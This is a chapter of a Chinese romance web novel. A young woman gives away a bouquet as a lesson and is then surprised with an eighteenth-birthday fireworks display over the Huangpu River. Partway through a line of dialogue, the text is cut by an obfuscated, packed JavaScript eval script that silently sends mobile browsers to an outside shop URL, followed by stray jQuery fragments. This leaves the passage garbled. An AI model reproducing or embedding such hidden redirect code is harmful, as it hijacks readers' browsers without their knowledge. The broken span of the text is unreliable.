36.赠花、烟火
    裕梦梁果然没有撒谎。

    他说是一点点教训,就真的只是微不足道的惩罚。

    最起码,表面看起来。

    “去吧。”

    黎宝因满脸抗拒地往后退,可裕梦梁还是把那束花递向了她,“把这束花,一枝一枝地送给经过这座桥的任何人。”

    黎宝因下意识摇摇头,心里不舍,甚至满腹气闷。

    她心里也明白,刚刚的论调确实离经叛道,可以说是为世俗不容,但她到底只是在嘴巴上说说,没想到裕梦梁居然会这么小题大做,大动干戈。

    这分明就是针对,是诛心。

    她敢断定,裕梦梁比任何人都知道她有多珍重这捧鲜花,不单单因为是由他挑拣,亲自插就,亲手扎好,更重要的是,这是他回国后,送给她的第一份礼物。

    纯粹的,不掺杂任何利益的礼物。

    她这一路抱着,再累都没有松开过,她难得感受到一点点被特殊对待的感觉,还想着回家要好好养护起来,连摆放用的器具,搁置的方位都想好了,可转眼间,她宝贝的花束就被他拿来利用,作为给她教训的道具。

    黎宝因想再争取一把,她故技重施,伸手去拉裕梦梁的衣襟,“先生,可不可以不送?”

    “不可以。”

    “或者我送其他的呢?”黎宝因指了指自己的宝石项链,又伸出手给他看自己新买的蔷薇色手钏,“比鲜花贵重的物品,我还有很多。”

    裕梦梁温沉注视着黎宝因,小姑娘的撒娇本领似有进益,很显然,许云壁的教导让她误以为,这套手段屡试不爽,可以征服任何男人。

    想起黎宝因刚刚的言之凿凿,裕梦梁略有些担忧地皱了一下眉,他不再犹豫,伸手拿开衣襟上的纤细手指,半点情分都不留地发出警告。

    “言多必失。”

    他抬眼看向黎宝因,“你应当庆幸,这回失去的只是一个花束。”

    他有些强硬地把鲜花重新置入黎宝因掌心,言辞比之刚刚生硬淡漠不少,“记住,这束花已经不属于你。现在我要求你,在一个钟头内把它们全部赠送出去。否则,我会收回明日会面的承诺。”

    先是花束,再是承诺,这不就是让她亲自体验失去的痛苦!

    刽子手,残忍至极。

    他一定是是故意的。

    黎宝因眼圈发热,视线都不由自主模糊起来。

    裕梦梁倚在栏杆上,静静审视着黎宝因的每一个表情变化,他一言不发,对少女的委屈不甘视若无睹,像是早就笃定,她一定会服从自己的指令。

    一刻钟后,黎宝因还是不动。

    他温声提醒,“还有四十五分钟。”

    这已经算是最后通牒。

    黎宝因抱着花束站在台阶上,远处是望不到尽头的十里霓虹,面前是闲适漫步的人潮汹涌,她自己跟自己僵持着,心里竟然真的委屈起来。

    整整两年,裕梦梁寄给她书单,她就夜以继日地看完,他送她唱片,她就努力钻研乐器乐理,他终于来上沪看她,她就拿出一万分的状态来迎接他。

    可是他却忘记她的成人礼,责备她在文玩店的冒失,连她想去烊京,他都要驳回。

    她已经那么用力地靠近他,也很努力让自己变得更好,可是无论是讨好,还是故意逆反,哪怕是轻微的试探,都被他毫不犹豫地驳回。

    她的每一步主动,仿佛都只会得到更坚定的回绝,甚至是惩罚。

    一束廉价鲜花而已。

    不过是一个黎宝因。

    黎宝因有些灰心,她感觉面前有一堵看不见的墙壁,他们分属墙壁两端,她不得其法地想要踏过去,而裕梦梁从未想过回头。

    不光是浪漫与幻想在泯灭,黎宝因听到到自己的勇气也在逐渐稀薄,如同鲜花养分流失,被迫凋零。

    算了,送就送!

    黎宝因怒气冲冲,蹬着小皮鞋踩下台阶,她仰头深吸一口气,攥着鲜花的手指交叉扣紧,走向人潮时的决然,很像是只要遣散这束花,就能终结她的爱恋。

    半个钟头过去。

    黎宝因一枝花都没送出去。

    她满是沮丧地回到裕梦梁身边,心情已经从刚开始的多愁善感,变成了困惑不已的怄气不甘,“白送居然没人要,怎么会有这样的怪事?”

    听到黎宝因嘶哑的嗓音,裕梦梁垂眼看了看她,他想了想,还是开口提点,“你自己也做过生意,应知买卖是最简单的人际交往。”

    可她现在又不是做买卖。

    黎宝因沿着裕梦梁的思路慢慢思索,“听闻最近有许多拐卖事件,兴许是怕遇到诈骗团伙?或者因为我态度急切,导致大家觉得事有蹊跷,唯恐被讹?”

    裕梦梁不置可否,只是再次催促她,“宝因小姐头回做慈善,裕某拭目以待。”

    黎宝因暗暗叹气,做慈善也是不容易。

    「你理应明白,慈善家也从不做亏本买卖」

    裕梦梁曾说过的话忽然响在耳畔,黎宝因安静地趴在栏杆上,微风拂起额前碎发,她下巴挨着手背慢慢思考,一切杂念摒弃,脑海里只剩下他最开始交代自己的话。

    “不问手段,也不论对方身份,只要你能全部赠出,我都当你完成任务,往后绝不追责。”

    不问手段,不论身份。

    黎宝因还记得他说这八个字时,特意加重了音量,她脑中灵光一现,蓦地站直了身体,很快,她再次看向来来往往的人群。

    老人,孩子,伴侣,挚友。

    形形色色的人,泾渭分明的关系,人与人之间基于血缘与亲密度形成厚重的壁垒,影影幢幢,密不透风,只有知晓其中奥义的人,才能够轻易闯入。

    黎宝因锁定目标,暗暗给自己打气,然后头也不回地再次走向人群。

    “阿叔,选朵花送给婶婶吧?十一上外白渡桥,寓意一生一世,白头到老的。”

    “先生,您要不要来朵康乃馨?鹅黄色调很衬阿婆气质,花语意头也好。”

    “哥哥姐姐好,我是复旦做社会实践的大一学生,请问可以调研一个问题吗?回答完毕,可以送两位每人一枝花。”

    ……

    花束渐渐变空,黎宝因环顾左右,目光落在一个穿着复旦戏剧社社服,正趴在栏杆上看风景的男生身上。

    “嗨,哥哥好呀。”

    套完近乎,黎宝因也学着他趴在栏杆上,看着不远处的即将落幕的晚霞道,“怎么一副勿有想头的样子?”

    穿校服的少年骤然转身,略显阴鸷的眼神让黎宝因微微不适,她下意识想离开,但考虑到自己即将结束倒计时的任务,她晃了晃手中白色花枝。

    “喏,送你一枝七里香。”不等对方反应,黎宝因大着胆子将花枝塞进他手臂间,然后边跑边挥手道:“谢谢帮忙!七里香的花语是世界和平,哥哥你也要开开心心呀。”

    她头也不回地离开,完全没注意到身后的人险些折断那支花,下一秒,他看着她欢快的身影,又慢慢握紧在掌心。

    裕梦梁遥遥收回视线,正好看到黎宝因欢欣鼓舞地跑过来。

    “原来赠人玫瑰,手有余香是这种感觉。”黎宝因感慨,“先生,我晓得你的深意了,你是想让我明白祸从口出,但是福祸相依。

    裕梦梁深深看她:“如果自欺欺人,能让你好受点,我乐意配合。”

    黎宝因一脸哀戚,忍不住嘟囔几句,见裕梦梁还看着自己,忍不住原地转了一圈,张开手臂道,“先生您看,我全都送完了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033371|144534||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !”

    她满脸兴奋不已,早先的沮丧一扫而空,望着裕梦梁的眼睛里满是得意。

    裕梦梁不吝夸奖,“宝因做得很好。”

    说完,他又轻声道,“说说看你的想法。”

    黎宝因一本正经起来,她回想刚刚赠花时的情景,总结道:“年长者不拒慈孝,青年人热血沸腾,但如果面对同龄人,反而要随性而为,不拘一格。”

    裕梦梁:“还有呢?”

    还有?

    黎宝因努力归因,除了对人心的掌控,她学到的教养,处事的分寸,还有那点察言观色的本领,都是赠花成功的重要因素。

    具体来说,那就是称呼。

    裕梦梁的言外之意过于明显。

    黎宝因偷偷看他一眼,有点痛恨自己立刻就听懂对方意图,她咬紧下唇,不情愿的同时,又有些负气。

    “我全都晓得了。”

    藏在袖子里的蔷薇刺得她掌心痒痛,黎宝因眼眶湿漉,紧盯着裕梦梁,一字一顿称呼道:“裕叔叔。”

    裕梦梁满意点头,“此事揭过。”

    顿了一秒,他补充道:“至于你那位外籍同学,如果他精力充沛,改日可以请他到家里,当面与我探讨。”

    黎宝因脑袋嗡嗡,忍不住又为自己那位法国同学捏把汗,幸亏她没有说出他的名字,不然她真害怕,裕梦梁会上纲上线,直接让人把他遣送回国。

    察觉黎宝因的失落,裕梦梁抬头揉她脑袋,“成年人要遵循规则,但好孩子也应该得到奖励。”

    黎宝因眼底掠过一丝讶异。

    裕梦梁很自然地牵起她的手掌,踏着夜色,行至码头,不知何时抵达的低调游轮静候已久,他扶着她步入船舱,一路鲜花铺就,丝绸结枝,黎宝因看到里面别开生面,装饰浮华,是她最喜欢的洛可可风格。

    蕾丝镶嵌贝壳,花边包裹植物,蓝粉缎带沿着漩涡,明快柔和的光线缓缓流淌,象牙白的圆桌上摆着精致的人鱼珍珠蛋糕。

    蛋糕上的祝福语写着:

    宝因小姐,十八岁快乐。

    黎宝因不可置信地望向裕梦梁,她再次握紧手心的花枝,正在送与不送之间徘徊,裕梦梁忽然发出邀请,黎宝因右手碰到他的指尖,下一秒,就被他稳稳握紧。

    观景台上,夜色不知何时倾覆。

    “该点蜡烛了。”

    黎宝因正觉困惑,裕梦梁忽然抬手,下一秒,耳畔细微的指针声响彻,黎宝因看到黄浦江畔陆家嘴上的东方明珠塔,就像是被施了魔法似的,自上而下,蓦地亮起,沿岸烟火,遣入云霄。

    高空繁花绽放,浩大的烟火之下,整座黄浦江都在为黎宝因庆生。

    「祝 : Paulin小姐」

    「生辰喜乐岁岁安澜」

    这一幕映入无数人眼中,盛大而奢侈,哪怕是多年以后,黎宝因远赴北城,再想起那一夜的细节,仍旧觉得无比震撼。

    明珠屹立,少女开怀。

    那是468米的东方明珠塔首夜亮灯,是黄浦江上最后一场烟火盛放,也是上沪城的黎宝因,第一次正大光明地拥向裕梦梁。

    “先生,你低一点。”

    少女的娇嗔落在耳畔,裕梦梁折腰以待,就看满世界华光璀璨,而她的眼里只盛放着自己。

    黎宝因实在太过紧张,她不太利索地从袖子里拿出那支藏了太久的蔷薇,而后才踮起脚尖,虔诚地插入他难得空闲的口袋。

    黑色布料蹭上粉嫩花苞,黎宝因眉眼弯弯,迎上男人俯瞰而来的眸光。

    “这是整束花里,最好看的一枝。”

    她望向裕梦梁时全心全意,心脏砰砰直跳。

    “现在,Paulin小姐把它送给你了。”